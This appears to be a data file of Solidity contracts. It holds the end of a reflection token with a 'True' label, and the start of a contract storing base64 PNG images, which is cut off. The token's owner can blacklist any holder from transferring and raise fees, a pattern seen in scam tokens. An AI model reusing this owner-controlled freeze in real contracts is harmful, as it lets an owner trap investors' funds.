_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= _taxFee && taxFee <= 10, 'taxFee can only be increased and max is 10');
_taxFee = taxFee;
}
function _setMinSellLiqPercent(uint256 burnFee) external onlyOwner() {
require(burnFee >= _burnFee && burnFee <= 10, 'burnFee can only be increased and max is 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000e9 , 'maxTxAmount should be greater than 100000000000e9');
_maxTxAmount = maxTxAmount;
}
}
|
True
|
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// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.7;
contract Race1 {
string public constant race1 = "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";
string public constant race10 = "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";
string public constant race11 = "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";
string public constant race12 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAzUExURUdwTFU3QRAUH7SFczAiM3EoSWtOU9hlYaM8VujFbRcgOCU6XqDh34hLK9J4F/GiLjQcJ8c3iVgAAAABdFJOUwBA5thmAAAH9UlEQVR42u2byXobRwyEB2ChAQxpO+//tDmg11koJmwyOQwO/ixRI/6s3oBqaFmuuOKKK6644oorrrjiiiuuuOKKK6644oorrrjiiiuuuOKKK6644oorrrjiiiuumBIi8tU3+6fvJmbfBFR1+R/zLYvYPyMUNcPyvyBEixFQvj3nDwgBQMTMzEykIUJMvyzgsohhQwhkthqSEfF1AbEstiHc41VEiMibgFICrwwERMRUtCc8xAvEBSIib42wuLuqqtkrmBCzLeEpn5ngbUAUwIiCecIJUXeFmKhVQpg9IXxbQHVXHyBPOAEAou4OCETN4CZPBcyE7wLqFm/PKYLMZ+qa/5clfCagmX0UsHIWUhNTVamEbvIToGAGoJqIPSes0QOq/whobwJCXN1V1Y4Ij95QNUa7SPhpQIiqq6qKmNkPcJnQpZNwB6judesyM7x5zgEZUE3Efor4EO4iVmfhHs7btjADULSskXPEupYlUwB1L+x+zIeI3/ku4AJ0wxprdSDDEFlChchewq18qqo6FbAgdlsfNjlVEIqY7iQ8oFN9P9fKx4NvEE8+eE76BDBZRgn1kE/17WQQkOH3As9SBsTLALCMEvqnABdg/NUAnhVu3dAPEp7wTQHU4dOHQi892UmoJ3wTAJc8C9sG+yoiVM3gKk8EnAIYs7DfvV5LsPNxovJEwBmA/SB3m/YLiKJmBlM5F3AK4G6QX0XEBvBTfAvQHaP16Pu5kkJkBCp6xjcJcIFoW8r1pP+54hHP6YN7zhPtM4ALTNtR0M/E5yKKa1kg0s7rMgBm82wZSEfYpUs/iAh1zc8BgP76BUCCz0LSZT6hDgndc8JudQH6+P2nEtZKS2YSahnjVwmxrvcMKHg8fv/5jV8PRGkl+DVVQkgWUftdN2eF54/d13W9S6ySx+PPn98PQ2wBv/DbMNE5gojEYh4ypx8J4fd1Xde7q9jj8XhYnoKP338ej+wc3dd1vc+QMIZ5B2gx4XE6OSQg+/1F7PF4mC3rus6gKzaa1Jm4JRScpRCAxWGuPaKLma3rOtX7EzERs5GwWVUh5NFzODhJXNo2eJ+jIYJQVLtdW5uLYXqMCMH+rHOHmWHmEGevNBPWpdyZBKba3N2B8L5u5mDwTR7i4uaqNhU7QIGZupqNazpLtFHQMPOgGwlPHRrIIeGywATufu80NDOz2fodE9ogobmrmfEmFxLofV3vm6ewrPMZgXC67MBDCgldzYhHwHuMck0kBVaE/sA8hJy4NFlCV2PiWn9CbF3vxe7OpoT0E2HeMu4RjygFUb8pEwMSOcu6rupq1ZB3j0Kvn6j3uYSlOt8hiiDKD2ViKQMKUXeTTCgafJ+/YCp21kbC2B85cSlkVGDuKpUw+zdfuPbKjmBnsYlVQGqEFhJmwnLN9A3AMC2191HzCcOUuBaDqhZWfCWU79xwQkwEsN58Lac0EzGkWdLu4XeKu36Lbwm0nCVsfMAtoXsuD/Cq9zSrGrXIYwvhAGgDYZjZ2/uzj+KGQdwTtlzRmVitehKdhH9VvHwT8UFEWPH/M+EASKw6DHLsiiBizkXY617Zex67iaiaWF8QBGAjdA8YM2ZK1D6Mqnxu1cCqDWK6BUysG0LJV09MibTlvaofIwTGC7IDwEqYAUVEJDS0